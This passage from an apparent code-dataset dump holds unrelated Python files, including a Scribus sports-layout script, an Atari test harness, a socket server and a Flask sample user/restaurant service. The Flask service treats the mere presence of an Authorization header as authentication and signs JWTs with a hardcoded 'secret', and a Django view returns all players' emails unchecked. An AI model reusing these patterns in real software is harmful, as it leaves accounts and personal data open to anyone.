OUTPUT_FOLDER=sys.argv[3]\n\n\ndef total_combinations():\n total=0\n combs = combinations(CONFIG_LIST)\n for c in combs:\n total+=1\n return total\n\ndef main():\n read_input()\n print(\"Total combinations: \",total_combinations())\n for c in combinations(CONFIG_LIST):\n if(valid_combination(c)):\n exhaustive_gc_flow(c)\n summary_flow(c)\n\n render_template(\"flow\",CONFIG_LIST,OUTPUT_FOLDER)\n\nif __name__=='__main__':\n main()\n","sub_path":"lab/experiments/flow/flow-best-of-neighborhood/instance-generator/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"120162967","text":"import json\n\nfrom django.http import HttpResponse, HttpRequest\nfrom HVZ.main.models import Player\n\ndef json_get_all_names_and_emails(request):\n \"\"\"A function that displays every players name and email\n in the current game.\n \"\"\"\n\n # Check out HVZ/main/models.py for helper functions relating to Players.\n # Player.current_players() returns all Players in the current Game.\n emails = [(str(p.user.first_name) + \" \" + str(p.user.last_name), p.mailbox) for p in Player.current_players()]\n\n # json.dumps creates a string from a Python object. You can then\n # read the string and convert it into an Objective-C data\n # structure using NSJSONSerialization in Objective-C.\n json_data = json.dumps(emails)\n\n return HttpResponse(\n json_data,\n content_type=\"application/json\"\n )\n","sub_path":"HVZ/HVZ/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"317232759","text":"\n\n# 测试 Atari 环境的入口代码\n\n\nimport sys\nimport re\nimport multiprocessing\nimport os.path as osp\nimport gym\nfrom collections import defaultdict\nimport tensorflow as tf\nimport numpy as np\n\nfrom common.cmd_util import common_arg_parser, parse_unknown_args, make_vec_env, make_env\nfrom common.vec_env import VecFrameStack, VecNormalize, VecEnv\nfrom common.vec_env.vec_video_recorder import VecVideoRecorder\nfrom common.tf_util import get_session\nfrom common.atari_wrappers import make_atari, wrap_deepmind\n\ntry:\n from mpi4py import MPI\nexcept ImportError:\n MPI = None\n\ntry:\n import pybullet_envs\nexcept ImportError:\n pybullet_envs = None\n\ntry:\n import roboschool\nexcept ImportError:\n roboschool = None\n\n_game_envs = defaultdict(set)\nfor env in gym.envs.registry.all():\n # TODO: solve this with regexes\n env_type = env.entry_point.split(':')[0].split('.')[-1]\n _game_envs[env_type].add(env.id)\n\n# reading benchmark names directly from retro requires\n# importing retro here, and for some reason that crashes tensorflow\n# in ubuntu\n_game_envs['retro'] = {\n 'BubbleBobble-Nes',\n 'SuperMarioBros-Nes',\n 'TwinBee3PokoPokoDaimaou-Nes',\n 'SpaceHarrier-Nes',\n 'SonicTheHedgehog-Genesis',\n 'Vectorman-Genesis',\n 'FinalFight-Snes',\n 'SpaceInvaders-Snes',\n}\n\n\ndef testenvs():\n #env = gym.make(\"CartPole-v1\")\n #env = gym.make(\"MsPacman-v0\")\n env = gym.make(\"Alien-v0\")\n observation = env.reset()\n print(\"observation\",observation.shape)\n for _ in range(100):\n env.render()\n action = env.action_space.sample() # your agent here (this takes random actions)\n observation, reward, done, info = env.step(action)\n print(\"reward\",reward)\n if done:\n observation = env.reset()\n env.close()\n\ndef get_env_type(args):\n env_id = args.env\n\n if args.env_type is not None:\n return args.env_type, env_id\n\n # Re-parse the gym registry, since we could have new envs since last time.\n for env in gym.envs.registry.all():\n env_type = env.entry_point.split(':')[0].split('.')[-1]\n _game_envs[env_type].add(env.id) # This is a set so add is idempotent\n\n if env_id in _game_envs.keys():\n env_type = env_id\n env_id = [g for g in _game_envs[env_type]][0]\n else:\n env_type = None\n for g, e in _game_envs.items():\n if env_id in e:\n env_type = g\n break\n if ':' in env_id:\n env_type = re.sub(r':.*', '', env_id)\n assert env_type is not None, 'env_id {} is not recognized in env types'.format(env_id, _game_envs.keys())\n\n return env_type, env_id\n\ndef build_env(args):\n ncpu = multiprocessing.cpu_count()\n if sys.platform == 'darwin': ncpu //= 2\n nenv = args.num_env or ncpu\n alg = args.alg\n seed = args.seed\n\n env_type, env_id = get_env_type(args)\n\n if env_type in {'atari', 'retro'}:\n if alg == 'deepq':\n env = make_env(env_id, env_type, seed=seed, wrapper_kwargs={'frame_stack': True})\n elif alg == 'trpo_mpi':\n env = make_env(env_id, env_type, seed=seed)\n else:\n print(\"are we here?\")\n frame_stack_size = 4\n env = make_vec_env(env_id, env_type, nenv, seed, gamestate=args.gamestate, reward_scale=args.reward_scale)\n env = VecFrameStack(env, frame_stack_size)\n\n else:\n config = tf.ConfigProto(allow_soft_placement=True,\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)\n config.gpu_options.allow_growth = True\n get_session(config=config)\n\n flatten_dict_observations = alg not in {'her'}\n env = make_vec_env(env_id, env_type, args.num_env or 1, seed, reward_scale=args.reward_scale, flatten_dict_observations=flatten_dict_observations)\n\n if env_type == 'mujoco':\n env = VecNormalize(env, use_tf=True)\n\n return env\n\ndef testbaselines(args):\n # 用baseline对环境的包装方法,尝试运行最简代码\n arg_parser = common_arg_parser()\n args, unknown_args = arg_parser.parse_known_args(args)\n #extra_args = parse_cmdline_kwargs(unknown_args)\n\n env_type, env_id = get_env_type(args)\n print('env_type: {}'.format(env_type))\n env = make_atari(env_id)\n #env = build_env(args)\n print(\"env builded \",env)\n obs = env.reset()\n reset = True\n\n print(\"env reseted\")\n for t in range(10000):\n env.render()\n action = env.action_space.sample()\n new_obs, rew, done, _ = env.step(action)\n obs = new_obs\n if done:\n print(done)\n obs = env.reset()\n reset = True\ndef testt2t(args):\n pass\n\n\ndef main(args):\n #testenvs()\n testbaselines(args)\n\n\nif __name__ == '__main__':\n print(\"first come here\")\n from gym import envs\n print(envs.registry.all())\n main(sys.argv)\n\n","sub_path":"envs/Atari/testforAtari.py","file_name":"testforAtari.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"112160253","text":"# -*- coding: utf-8 -*-\n\n\nimport requests\nimport json\nfrom processers.get_html import getHtml\nfrom processers.open_file import openFile\n\nclass getDit(object):\n def __init__(self):\n #self.request_url = 'https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic'\n self.request_url = 'https://aip.baidubce.com/rest/2.0/ocr/v1/accurate'\n self.get_html = getHtml()\n self.open_file = openFile()\n\n def get_dit(self):\n access_token = self.get_html.run()\n headers = self.get_html.set_headers()\n params = self.open_file.get_params()\n request_url = self.request_url + \"?access_token=\" + access_token\n request = requests.post(url = request_url, data = params, headers = headers)\n dit = request.json()\n return dit\n","sub_path":"practice/hash/idiom/processers/get_dit.py","file_name":"get_dit.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"118131401","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom scribus import *\nmargins = (36, 36, 0, 0)\n\n# Dictionary of logos' height/width aspect ratios. It is used to position the school logo\n# There's no way to programatically adjust frame to image.\n# The Python Scribus uses doesn't have any image utilities like PIL so I could not\n# figure out a way to determine the image's aspect ratio programatically. :|\n# There is a program I wrote called Logo_aspect_ratio.py that takes all the images files\n# in a directory and generates a CSV file of their width and height. The program is located in \n# the Women directory. After you run that program, you can run this one.\n\nschool_logos_dict = {}\nwith open(\"./School_Logos/filesizes_gif.csv\") as f:\n for line in f:\n current_line_list = line.split(\",\")\n school_logos_dict[current_line_list[0]] = float(current_line_list[2]) / float (current_line_list[1])\n\nconf_logos_dict = {}\nwith open(\"./Conference_Logos/filesizes_png.csv\") as f:\n for line in f:\n current_line_list = line.split(\",\")\n conf_logos_dict[current_line_list[0]] = float(current_line_list[2]) / float (current_line_list[1])\n \nplayers_list = []\nplayers_names_list = []\nwith open(\"All_Academic_2019_2020.csv\") as f:\n next(f) # skip headers row\n for line in f:\n current_line_list = line.split(\",\")\n full_name = current_line_list[0].split()\n first_name = full_name[0]\n first_last_name = full_name[1]\n if (full_name[1] == \"de\" or full_name[1] == \"La\"):\n player_name = full_name[0] + \" \" + full_name[1] + \" \" + full_name[2]\n if (player_name in players_names_list): \n player_name_count = sum([1 for plyr in players_names_list if plyr == player_name])\n image_filename = \"./\" + current_line_list[4].replace(\" \", \"_\").replace(\"\\n\",\"\") + \"_mugshots_2/\" + first_name + \"_\" + full_name[1] + \"_\" + full_name[2] + \"_\" + str(player_name_count + 1) + \".jpg\"\n else:\n image_filename = \"./\" + current_line_list[4].replace(\" \", \"_\").replace(\"\\n\",\"\") + \"_mugshots_2/\" + first_name + \"_\" + full_name[1] + \"_\" + full_name[2] + \".jpg\"\n else:\n player_name = first_name + \" \" + first_last_name\n if (player_name in players_names_list): \n player_name_count = sum([1 for plyr in players_names_list if plyr == player_name])\n image_filename = \"./\" + current_line_list[4].replace(\" \", \"_\").replace(\"\\n\",\"\") + \"_mugshots_2/\" + first_name + \"_\" + first_last_name + \"_\" + str(player_name_count + 1) + \".jpg\"\n else:\n image_filename = \"./\" + current_line_list[4].replace(\" \", \"_\").replace(\"\\n\",\"\") + \"_mugshots_2/\" + first_name + \"_\" + first_last_name + \".jpg\"\n \n player_school = current_line_list[1]\n school_state = current_line_list[2]\n if current_line_list[2] == \"Washington D.C.\": school_state = \"Washington, D.C.\"\n player_conf = current_line_list[3]\n school_division = current_line_list[4]\n # Beach VB players:\n if player_name in [\"Keniah Rivera\", \"Joise Maldonado\", \"Génesis Benítez\"]: school_division = current_line_list[4].replace(\" BVB\", \"\")\n player_major = current_line_list[5]\n player_GPA = current_line_list[6]\n player_award = current_line_list[7]\n \n single_player_list = [player_name, image_filename, player_school, school_state, player_conf, school_division, player_major, player_award, player_GPA]\n players_list.append(single_player_list)\n players_names_list.append(player_name)\n\n\nif newDocument(PAPER_LETTER, margins, PORTRAIT, 1, UNIT_POINTS, NOFACINGPAGES, FIRSTPAGERIGHT, 1):\n\n defineColor(\"NJCAA Blue\", 217, 168, 55, 94)\n defineColor(\"NJCAA Gray\", 0, 0, 0, 40)\n defineColor(\"NJCAA Gray 2\", 0, 0, 0, 153)\n defineColor(\"NJCAA Blue 2\", 221, 168, 15, 30)\n defineColor(\"Darker Gray\", 0, 0, 0, 64)\n \n num_players = len(players_list)\n if (num_players % 12) == 0: \n num_pages = (num_players / 12) \n else: \n num_pages = (num_players / 12) + 1\n player_count = 0\n for page in range(num_pages):\n top_rect = createRect(0, 0, 612, 36)\n setFillColor(\"NJCAA Blue\", top_rect); setLineColor(\"NJCAA Blue\", top_rect)\n bottom_rect = createRect(0, 756, 612, 36)\n setFillColor(\"NJCAA Blue\", bottom_rect); setLineColor(\"NJCAA Blue\", bottom_rect)\n center_rect = createRect(0, 36, 612, 720)\n setFillColor(\"NJCAA Gray\", center_rect); setLineColor(\"NJCAA Gray\", center_rect)\n \n page_header = createText(36, 9, 540, 36)\n setText(\"Academic All-Stars\", page_header)\n setTextColor(\"White\", page_header)\n setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", page_header); setFontSize(24, page_header)\n setTextAlignment(ALIGN_CENTERED, page_header)\n \n if page == 0:\n header_asterisk = createText(434, 9, 12, 36)\n setText(\"*\", header_asterisk); setTextColor(\"White\", header_asterisk); setFontSize(18, header_asterisk)\n \n footer_asterisk = createText(36, 758, 4, 34)\n setText(\"*\", footer_asterisk); setTextColor(\"White\", footer_asterisk); setFontSize(7, footer_asterisk)\n \n footnote_frame = createText(40, 758, 536, 35)\n footnote = \"Players that were recognized by their conference for their performance in the classroom. All conferences of four-year institutions \" \\\n \"require athletes to have a 3.00 GPA as a bare minimum to receive an award, and several conferences set the bar higher: 3.20, 3.30, 3.40, \" \\\n \"and, in the case of The Sun Conference, a 3.50 GPA as a minimum. Lina Bernier was awarded Conference USA's Commmissioner's Medal (GPA > 3.75) for the\" \\\n \"the 5th year in a row, while Sharlissa de Jesús earned Southern Conference's Commmissioner's Medal (GPA > 3.80). The NJCAA has 3 tiers of \" \\\n \"academic awards: 3rd team (GPA > 3.60), 2nd team (GPA > 3.80), and 1st team (GPA = 4.00)\"\n setText(footnote, footnote_frame); setTextColor(\"White\", footnote_frame); setFontSize(7, footnote_frame); setLineSpacing(9, footnote_frame)\n \n years1 = createText(0, 6.7, 36, 36); setText(\"2019\" + \"\\n\" + \"-\" + \"\\n\" + \"2020\", years1)\n years2 = createText(576, 6.7, 36, 36); setText(\"2019\" + \"\\n\" + \"-\" + \"\\n\" + \"2020\", years2)\n setTextColor(\"White\", years1); setTextColor(\"White\", years2)\n setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", years1); setFontSize(11, years1); setTextAlignment(ALIGN_CENTERED, years1)\n setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", years2); setFontSize(11, years2); setTextAlignment(ALIGN_CENTERED, years2)\n setLineSpacing(7, years1); setLineSpacing(7, years2)\n \n for row in range(3):\n for col in range(4):\n current_player = players_list[player_count]\n photo_x = 36 + col * (132 + 4)\n # photo_y = 36 + 20 + row * (250 + 100)\n photo_y = 36 + 18 + row * (176 + 58)\n player_photo = createImage(photo_x, photo_y, 132, 176)\n loadImage(current_player[1], player_photo); setScaleImageToFrame(1, 1, player_photo)\n \n division_x = photo_x + 5\n if (current_player[5].replace(\"\\n\",\"\") in [\"NCAA DI\", \"NCAA DII\", \"NCAA DIII\", \"NJCAA DI\", \"NJCAA DII\"]):\n division_y = photo_y + 5\n player_division = createImage(division_x, division_y, 25, 25)\n else:\n division_y = photo_y + 10\n player_division = createImage(division_x, division_y, 25, 12)\n loadImage(\"./Division_logos/\" + current_player[5].replace(\" \", \"_\").replace(\"\\n\",\"\") + \"_logo.png\", player_division); setScaleImageToFrame(1, 1, player_division)\n \n banner_x = photo_x\n banner_y = photo_y + 122\n player_banner = createRect(banner_x, banner_y, 132, 38)\n setFillColor(\"White\", player_banner); setLineColor(\"None\", player_banner)\n setFillTransparency(0.70, player_banner)\n \n # academic_logo = createImage(banner_x + 2, banner_y + 2, 40, 40)\n # loadImage(\"./All_Academic/All_Academic_logo.png\", academic_logo); setScaleImageToFrame(1, 1, academic_logo)\n \n vocales_acentos = [\"Á\", \"É\", \"Í\", \"Ó\", \"Ú\", \"Ñ\"]\n # if any(x in unicode(current_player[0]).upper() for x in vocales_acentos): player_name_ypos = banner_y + 2\n player_name_ypos = banner_y + 4\n player_name = createText(banner_x, player_name_ypos, 132, 38)\n insertText(unicode(current_player[0]) + \"\\n\", -1, player_name)\n setFont(\"Asimov Print C\", player_name); setFontSize(11, player_name)\n name_length = getTextLength(player_name)\n player_school = current_player[2]\n school_length = len(player_school) + 1\n insertText(unicode(player_school).upper() + \"\\n\", -1, player_name)\n selectText(name_length, school_length, player_name)\n setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", player_name)\n selectText(name_length, len(player_school), player_name); setFontSize(6.7, player_name)\n school_state = current_player[3]\n insertText(school_state, -1, player_name)\n selectText(name_length + school_length, len(school_state), player_name)\n setFont(\"Playball Regular\", player_name)\n selectText(name_length + school_length, len(school_state), player_name); setFontSize(11, player_name)\n # banner_text_color_cmyk = banner_text_colors_dict[current_player[5].replace(\" \", \"_\")]\n # defineColor(current_player[5].replace(\" \", \"_\"), banner_text_color_cmyk[0], banner_text_color_cmyk[1], banner_text_color_cmyk[2], banner_text_color_cmyk[3])\n setTextColor(\"NJCAA Blue\", player_name)\n setLineSpacing(11, player_name)\n setTextAlignment(ALIGN_CENTERED, player_name)\n \n player_major_background_height = 34\n player_major_background = createRect(banner_x + 0.5, photo_y + 176 - 10, 131, player_major_background_height)\n setFillColor(\"White\", player_major_background); setLineColor(\"White\", player_major_background)\n \n player_academics_h = 35\n offset = 2.5\n if current_player[6] == \"\": offset = 5\n player_academics = createText(banner_x, photo_y + 176 - 10 + offset, 132, player_academics_h)\n insertText(current_player[6] + \"\\n\", -1, player_academics)\n setFont(\"Playball Regular\", player_academics); setFontSize(11, player_academics)\n major_length = getTextLength(player_academics)\n player_award = current_player[7]\n award_length = len(player_award)\n insertText(player_award + \"\\n\", -1, player_academics)\n # page_debug = createText(banner_x, photo_y + 176 + 3 + player_major_background_height, 132, 24)\n # setText(\"\\n\" + str(major_length) + \" \" + str(award_length), page_debug)\n selectText(major_length, award_length, player_academics); setFontSize(7.5, player_academics)\n selectText(major_length, award_length, player_academics); setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", player_academics)\n player_GPA = current_player[8]\n GPA_length = len(\"Minimum GPA: \" + player_GPA + \"\\n\")\n insertText(\"Minimum GPA: \" + player_GPA, -1, player_academics)\n selectText(major_length + award_length, GPA_length, player_academics); setFontSize(9.0, player_academics)\n selectText(major_length + award_length, GPA_length, player_academics); setFont(\"Asimov Print C\", player_academics)\n setTextColor(\"NJCAA Blue\", player_academics)\n setLineSpacing(10, player_academics); setTextAlignment(ALIGN_CENTERED, player_academics)\n \n if (current_player[0] == \"Cecilia Thon\"):\n award_asterisk = createText(294, 711, 12, 36)\n setText(\"*\", award_asterisk); setTextColor(\"NJCAA Blue\", award_asterisk); setFontSize(12, award_asterisk)\n \n footer_asterisk = createText(36, 758, 4, 34)\n setText(\"*\", footer_asterisk); setTextColor(\"White\", footer_asterisk); setFontSize(7, footer_asterisk)\n \n footnote_frame = createText(40, 758, 536, 35)\n footnote = \"Commissioner’s Academic Excellence Award\" \n setText(footnote, footnote_frame); setTextColor(\"White\", footnote_frame); setFontSize(7, footnote_frame); setLineSpacing(9, footnote_frame)\n \n if (current_player[0] == \"Laura Rojas\"):\n award_asterisk = createText(430, 711, 12, 36)\n setText(\"**\", award_asterisk); setTextColor(\"NJCAA Blue\", award_asterisk); setFontSize(12, award_asterisk)\n \n footer_asterisk = createText(36, 770, 4, 34)\n setText(\"**\", footer_asterisk); setTextColor(\"White\", footer_asterisk); setFontSize(7, footer_asterisk)\n \n footnote_frame = createText(40, 770, 536, 35)\n footnote = \"Presidents' Council Academic Excellence Award\" \n setText(footnote, footnote_frame); setTextColor(\"White\", footnote_frame); setFontSize(7, footnote_frame); setLineSpacing(9, footnote_frame)\n \n \n player_conf_background_height = 24.0\n player_conf_background = createRect(banner_x + 0.5, photo_y + 176 - 10 + player_major_background_height, 131, player_conf_background_height)\n setFillColor(\"Darker Gray\", player_conf_background); setLineColor(\"Darker Gray\", player_conf_background)\n \n player_conf_logo_w = 33.0\n player_conf_img = current_player[4].replace(\" \", \"_\")\n player_conf_logo_h = min(player_conf_logo_w * conf_logos_dict[player_conf_img], 24.0)\n conf_logo = createImage(banner_x, photo_y + 176 - 10 + player_major_background_height + (player_conf_background_height - player_conf_logo_h) / 2.0, player_conf_logo_w, player_conf_logo_h)\n loadImage(\"./Conference_Logos/\" + player_conf_img + \".png\", conf_logo); setScaleImageToFrame(1, 1, conf_logo)\n \n offset = 10.0\n if len(current_player[4]) > 26: offset = 2.5\n player_conf_frame = createText(banner_x + player_conf_logo_w + 1, photo_y + 176 - 10 + player_major_background_height + offset, 98, 19)\n # player_conf_array = current_player[4].split(\" \")\n # player_conf_array_length = len(player_conf_array)\n # if (player_conf_array_length % 2) == 0: split_point = player_conf_array_length / 2\n # else: split_point = (player_conf_array_length / 2) + 1\n # player_conf = \" \".join(player_conf_array[0:split_point]) + \"\\n\" + \" \".join(player_conf_array[split_point:])\n player_conf = current_player[4]\n # player_conf_length = len(player_conf)\n insertText(player_conf, -1, player_conf_frame)\n setTextColor(\"NJCAA Blue\", player_conf_frame)\n setFont(\"OLD SPORT 02 ATHLETIC NCV Regular\", player_conf_frame); setFontSize(6.1, player_conf_frame)\n setLineSpacing(11, player_conf_frame); setTextAlignment(ALIGN_CENTERED, player_conf_frame)\n \n player_count += 1\n if player_count == num_players: break\n if player_count == num_players: break\n if player_count == num_players: break\n # if page == 1: break\n \n \n # right_rect = createRect(576, 36, 36, 720)\n # setFillColor(\"NJCAA Gray\", right_rect); setLineColor(\"NJCAA Gray\", right_rect)\n # left_rect = createRect(0, 36, 36, 720)\n # setFillColor(\"NJCAA Gray\", left_rect); setLineColor(\"NJCAA Gray\", left_rect)\n newPage(-1)\n ","sub_path":"Women/All_Academic_GPA.py","file_name":"All_Academic_GPA.py","file_ext":"py","file_size_in_byte":15083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"41730570","text":"from unittest.mock import MagicMock\n\n\ndef mock_response(fixture_name):\n\n \"\"\"\n Accepts the name of a file in the fixtures directory\n Returns a mocked response object\n \"\"\"\n\n f = open(\"tests/fixtures/\" + fixture_name, \"r\")\n fixture_content = f.read()\n\n response = MagicMock()\n response.content = fixture_content\n\n return response\n","sub_path":"tests/test_helper.py","file_name":"test_helper.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"151020606","text":"import math;\n\ndef convert_base_letter(ch: chr):\n result = None;\n if(ch =='A' or ch =='a'):\n result = chr(ord('0') + 10);\n elif(ch =='B' or ch =='b'):\n result = chr(ord('0') + 11);\n elif(ch =='c' or ch =='C'):\n result = chr(ord('0') + 12);\n elif(ch =='D' or ch =='c'):\n result = chr(ord('0') + 13);\n elif(ch =='E' or ch =='e'):\n result = chr(ord('0') + 14);\n elif(ch =='F' or ch =='f'):\n result = chr(ord('0') + 15);\n else:\n result = ch;\n return result;\n\ndef convert_number_base_letter(value:int):\n result = None; \n if(value ==10):\n result ='A';\n elif(value == 11):\n result = 'B'\n elif(value == 12):\n result ='C';\n elif(value ==13):\n result = 'D'\n elif(value ==14):\n result = 'E'\n elif(value == 15):\n result = 'F'\n else:\n result = chr(ord('0') + value);\n return result;\n \ndef validatorbase(value , base):\n highest_base = base - 1;\n status = True;\n for ch in value:\n if(base >= 10):\n ch = convert_base_letter(ch);\n n = ord(ch);\n base_ch = chr(ord('0') + highest_base);\n if(n < ord('0')) or (n > ord(base_ch)):\n status = False;\n break;\n return status;\n\n\"\"\"\n convert any base to base 10 is a very important thing for\n example programmer\n \n\"\"\"\ndef tobase(value:str, **kwargs):\n value = str(value);\n validator = kwargs['validator'] if('validator' in kwargs) else validatorbase;\n input_base = kwargs['input_base'] if('input_base' in kwargs) else 10;\n isvalid = True;\n error = \"\";\n if(validator != None) and (callable(validator)):\n isvalid = validator(value, input_base);\n \n if(isvalid is not True):\n raise ValueError(\"invalid input = {0} for base {1}\".format(value, input_base));\n \n length = len(value);\n result = 0;\n power = 0;\n \n for i in range(1, length + 1):\n index = i * -1;\n ch = convert_base_letter(value[index]);\n num = ord(ch) - ord('0');\n result = result + (num * (input_base **power))\n power += 1;\n\n return result;\n\n\ndef tobase_any(value: str, **kwargs):\n \"\"\"\n @param input\n \"\"\"\n input_base = kwargs['input_base'] if('input_base' in kwargs) else 10;\n output_base = kwargs['output_base'] if('output_base' in kwargs) else 10;\n \n decimal = tobase(value, **kwargs);\n \n if (output_base != 10): \n result = \"\";\n remainder = decimal % output_base;\n dividend = decimal // output_base;\n ch = convert_number_base_letter(remainder);\n result += ch;\n \n while(dividend != 0):\n remainder = dividend % output_base;\n dividend = dividend // output_base;\n result += convert_number_base_letter(remainder);\n decimal = result[len(result)::-1]; #reverse the string\n return decimal;\n \n\n \n\nif(__name__ == \"__main__\"):\n numbers = [61,62,52,45,66,32,56,21,56,24,67,21,67,21,56,21, 26, 91, 82, 15*15];\n counter = 0;\n with open('text.bin', mode='w+') as file:\n for num in numbers:\n if((counter % 4) == 0):\n file.write('\\n');\n file.write(tobase_any(num, input_base = 10, output_base = 16));\n file.write(' ');\n counter = counter + 1;\n\n \n \n \n \n","sub_path":"tobase.py","file_name":"tobase.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206478844","text":"import socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nHOST = \"127.0.0.1\"\nPORT = 44446\n\ns.bind((HOST, PORT))\ns.listen(5)\n\nwhile True:\n c, addr = s.accept()\n print('Got connect form: {} {}'.format(addr[0], addr[1]))\n c.recv(1024)\n print(c.recv(1024))\n c.send('Thank you for connetcting.')\n c.close()\n","sub_path":"Python_Store/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"439859696","text":"\"\"\"\nSFU CMPT 756\nSample application---user service.\n\"\"\"\n\n# Standard library modules\nimport logging\nimport sys\nimport time\n\n# Installed packages\nfrom flask import Blueprint\nfrom flask import Flask\nfrom flask import request\nfrom flask import Response\n\nimport jwt\n\nfrom prometheus_flask_exporter import PrometheusMetrics\n\nimport requests\n\nimport simplejson as json\n\n# The application\n\napp = Flask(__name__)\n\nmetrics = PrometheusMetrics(app)\nmetrics.info('app_info', 'User process')\n\nbp = Blueprint('app', __name__)\n\ndb = {\n \"name\": \"http://host.docker.internal:30000/api/v1/datastore\",\n \"endpoint\": [\n \"read\",\n \"write\",\n \"delete\",\n \"update\"\n ]\n}\n\n\n@bp.route('/', methods=['GET'])\n@metrics.do_not_track()\ndef hello_world():\n return (\"If you are reading this in a browser, your service is \"\n \"operational. Switch to curl/Postman/etc to interact using the \"\n \"other HTTP verbs.\")\n\n\n@bp.route('/health')\n@metrics.do_not_track()\ndef health():\n return Response(\"\", status=200, mimetype=\"application/json\")\n\n\n@bp.route('/readiness')\n@metrics.do_not_track()\ndef readiness():\n return Response(\"\", status=200, mimetype=\"application/json\")\n\n\n#updates the record in user table\n\n@bp.route('/user/', methods=['PUT'])\ndef update_user(user_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(json.dumps({\"error\": \"missing auth\"}), status=401,\n mimetype='application/json')\n try:\n content = request.get_json()\n user_name = content['user_name']\n user_email = content['user_email']\n user_phone = content['user_phone']\n except Exception:\n return json.dumps({\"message\": \"error reading arguments\"})\n url = db['name'] + '/' + db['endpoint'][3]\n response = requests.put(\n url,\n params={\"objtype\": \"user\", \"objkey\": user_id},\n json={\"user_name\": user_name, \"user_email\": user_email, \"user_phone\": user_phone})\n return (response.json())\n\n\n@bp.route('/user', methods=['POST'])\ndef create_user():\n \"\"\"\n Create a user.\n If a record already exists with the same user_name, user_email, and user_phone,\n the old UUID is replaced with a new one.\n \"\"\"\n try:\n content = request.get_json()\n user_name = content['user_name']\n user_email = content['user_email']\n user_phone = content['user_phone']\n except Exception:\n return json.dumps({\"message\": \"error reading arguments\"})\n url = db['name'] + '/' + db['endpoint'][1]\n response = requests.post(\n url,\n json={\"objtype\": \"user\",\n \"user_name\": user_name,\n \"user_email\": user_email,\n \"user_phone\": user_phone})\n return (response.json())\n\n\n#delets the record in user table\n\n@bp.route('/user/', methods=['DELETE'])\ndef delete_user(user_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(json.dumps({\"error\": \"missing auth\"}),\n status=401,\n mimetype='application/json')\n url = db['name'] + '/' + db['endpoint'][2]\n response = requests.delete(url,\n params={\"objtype\": \"user\", \"objkey\": user_id})\n return (response.json())\n\n\n#gets the record in user table\n\n@bp.route('/user/', methods=['GET'])\ndef get_user(user_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(\n json.dumps({\"error\": \"missing auth\"}),\n status=401,\n mimetype='application/json') \n payload = {\"objtype\": \"user\", \"objkey\": user_id}\n url = db['name'] + '/' + db['endpoint'][0]\n response = requests.get(url, params=payload)\n return (response.json())\n\n\n@bp.route('/login', methods=['PUT'])\ndef login():\n try:\n content = request.get_json()\n user_id = content['user_id']\n except Exception:\n return json.dumps({\"message\": \"error reading parameters\"})\n url = db['name'] + '/' + db['endpoint'][0]\n response = requests.get(url, params={\"objtype\": \"user\", \"objkey\": user_id})\n data = response.json()\n if len(data['Items']) > 0:\n encoded = jwt.encode({'user_id': user_id, 'time': time.time()},\n 'secret',\n algorithm='HS256')\n return encoded\n\n\n@bp.route('/logoff', methods=['PUT'])\ndef logoff():\n try:\n content = request.get_json()\n _ = content['jwt']\n except Exception:\n return json.dumps({\"message\": \"error reading parameters\"})\n return {}\n\n\n#updates the record in restaurant table\n\n@bp.route('/restaurant/', methods=['PUT'])\ndef update_restaurant(restaurant_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(json.dumps({\"error\": \"missing auth\"}), status=401,\n mimetype='application/json')\n try:\n content = request.get_json()\n restaurant_name = content['restaurant_name']\n food_name = content['food_name']\n food_price = content['food_price']\n except Exception:\n return json.dumps({\"message\": \"error reading arguments\"})\n url = db['name'] + '/' + db['endpoint'][3]\n response = requests.put(\n url,\n params={\"objtype\": \"restaurant\", \"objkey\": restaurant_id},\n json={\"restaurant_name\": restaurant_name, \"food_name\": food_name, \"food_price\": food_price})\n return (response.json())\n\n\n\n\n@bp.route('/restaurant', methods=['POST'])\ndef create_restaurant():\n \"\"\"\n create restaurant\n If a record already exists with the same restaurant_name, food_name and food_price,\n the old UUID is replaced with a new one.\n \"\"\"\n try:\n content = request.get_json()\n restaurant_name = content['restaurant_name']\n food_name = content['food_name']\n food_price = content['food_price']\n except Exception:\n return json.dumps({\"message\": \"error reading arguments\"})\n url = db['name'] + '/' + db['endpoint'][1]\n response = requests.post(\n url,\n json={\"objtype\": \"restaurant\",\n \"restaurant_name\":restaurant_name,\n \"food_name\": food_name,\n \"food_price\": food_price,\n })\n return (response.json())\n\n\n\n#delets the record in restaurant table\n@bp.route('/restaurant/', methods=['DELETE'])\ndef delete_restaurant(restaurant_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(json.dumps({\"error\": \"missing auth\"}),\n status=401,\n mimetype='application/json')\n url = db['name'] + '/' + db['endpoint'][2]\n \n response = 